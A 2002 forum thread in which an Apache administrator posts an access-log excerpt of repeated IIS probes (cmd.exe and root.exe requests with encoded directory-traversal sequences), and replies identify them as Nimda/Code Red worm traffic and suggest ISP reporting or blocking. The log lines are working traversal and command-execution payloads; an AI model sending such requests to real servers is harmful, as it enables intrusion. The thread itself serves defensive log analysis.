Apache Development
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me
Go Back   Dev Shed Forums > System Administration > Apache Development
Reload this Page

What do you guys make of this (Includes log except, not that big)

Discuss What do you guys make of this (Includes log except, not that big) in the Apache Development forum on Dev Shed.
What do you guys make of this (Includes log except, not that big) Apache Development forum discussing HTTP Server general topics, configuration, and modules. Apache is an open source web server that runs on multiple platforms.

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
« Previous Thread | Next Thread »  
Thread Tools Search this Thread Rate Thread Display Modes
 
Unread Dev Shed Forums Sponsor:
  #1  
Old February 14th, 2002, 06:01 PM
Tundra's Avatar
Tundra Tundra is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Oct 2001
Location: Honolulu, Hawaii
Posts: 261 Tundra User rank is Corporal (100 - 500 Reputation Level)Tundra User rank is Corporal (100 - 500 Reputation Level)Tundra User rank is Corporal (100 - 500 Reputation Level)Tundra User rank is Corporal (100 - 500 Reputation Level) 
Time spent in forums: 1 Day 6 h 6 m 22 sec
Reputation Power: 9
Send a message via AIM to Tundra
MySpace
Post What do you guys make of this (Includes log except, not that big)
Obviously, this was an attack, but the entries were made within the range of 8 seconds of each other. Thankfully, this is directed at WinNT machine, so I wasn't effected at all. What do you guys think, just a kiddie looking for some fun, or did I fall asleep during the a security announcement.

The following is an except of my log files:

204.210.159.60 - - [14/Feb/2002:08:41:16 -1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:16 -1000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:17 -1000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:18 -1000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:21 -1000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "
-"
204.210.159.60 - - [14/Feb/2002:08:41:25 -1000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:25 -1000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:26 -1000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winn
t/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-"
204.210.159.60 - - [14/Feb/2002:08:41:26 -1000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:08:41:27 -1000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:08:41:27 -1000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:08:41:29 -1000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:08:41:32 -1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-"
"-"
204.210.159.60 - - [14/Feb/2002:08:41:37 -1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "
-"
204.210.159.60 - - [14/Feb/2002:08:41:40 -1000] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "
-" "-"
204.210.159.60 - - [14/Feb/2002:09:03:46 -1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:03:46 -1000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:03:56 -1000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:03:57 -1000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:03:59 -1000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "
-"
204.210.159.60 - - [14/Feb/2002:09:04:02 -1000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:04:03 -1000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:04:03 -1000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winn
t/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:04:51 -1000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:04:53 -1000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:05:05 -1000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:05:11 -1000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:05:14 -1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:05:18 -1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "
-"
204.210.159.60 - - [14/Feb/2002:09:05:23 -1000] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "
-" "-"
204.210.159.60 - - [14/Feb/2002:09:05:29 -1000] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "
-"
204.210.159.60 - - [14/Feb/2002:09:48:52 -1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:48:55 -1000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:48:57 -1000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:49:03 -1000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:49:06 -1000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "
-"
204.210.159.60 - - [14/Feb/2002:09:49:09 -1000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:49:13 -1000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:49:15 -1000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winn
t/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-"
204.210.159.60 - - [14/Feb/2002:09:49:21 -1000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:49:24 -1000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:49:27 -1000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:49:52 -1000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:49:55 -1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-"
"-"
204.210.159.60 - - [14/Feb/2002:09:50:07 -1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "
-"
204.210.159.60 - - [14/Feb/2002:12:23:00 -1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
204.210.159.60 - - [14/Feb/2002:12:34:08 -1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
204.210.159.60 - - [14/Feb/2002:12:34:11 -1000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
204.210.159.60 - - [14/Feb/2002:12:34:23 -1000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:12:34:29 -1000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:12:34:35 -1000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "
-"
204.210.159.60 - - [14/Feb/2002:12:34:40 -1000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:22:42 -1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:22:47 -1000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:22:51 -1000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:22:55 -1000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:22:59 -1000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "
-"
204.210.159.60 - - [14/Feb/2002:13:23:05 -1000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:23:09 -1000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HT
TP/1.0" 404 249 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:23:13 -1000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winn
t/system32/cmd.exe?/c+dir HTTP/1.0" 404 265 "-" "-"
204.210.159.60 - - [14/Feb/2002:13:23:17 -1000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:13:23:22 -1000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:13:23:26 -1000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:13:23:30 -1000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-"
"-"
204.210.159.60 - - [14/Feb/2002:13:23:35 -1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-"
"-"
204.210.159.60 - - [14/Feb/2002:13:23:38 -1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "
-"
204.210.159.60 - - [14/Feb/2002:13:23:41 -1000] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232 "
-" "-"
Reply With Quote
  #2  
Old February 14th, 2002, 06:06 PM
Bob Loblaw Bob Loblaw is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Dec 2001
Posts: 174 Bob Loblaw User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 7
Not good your gonna have to build your servers from scratch

















just kidding it's nothing that affects apache
nimda,code red whatever iis
Reply With Quote
  #3  
Old February 14th, 2002, 06:12 PM
mezz mezz is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Oct 2001
Posts: 310 mezz User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 7
204.210.159.60 has Nimda, CodeRed and CodeRedII that attack on your place often.. I would suggest you to contact his/her ISP to make sure ISP will get contact with them to fix their box. I have read few articles about that few ISP can close their accounts until they get those computers fix as well.
Reply With Quote
  #4  
Old February 14th, 2002, 10:20 PM
freebsd freebsd is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Jan 2001
Posts: 5 freebsd User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: < 1 sec
Reputation Power: 0
>> Includes log except not that big

Then don't log them. Start here if that makes you feel more secure when you don't see them in your log.

If you need to block them at firewall level, write a setuid script and insert a dynamic ruleset.

If you really care, you should log them little bit as evidence, then block them on-the-fly, then report to their ISPs.
Reply With Quote
Reply

Viewing: Dev Shed Forums > System Administration > Apache Development > What do you guys make of this (Includes log except, not that big)

« Previous Thread | Next Thread »

Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Linear Mode Linear Mode
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump


Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 





© 2003-2008 by Developer Shed. All rights reserved. DS Cluster 5 hosted by Hostway.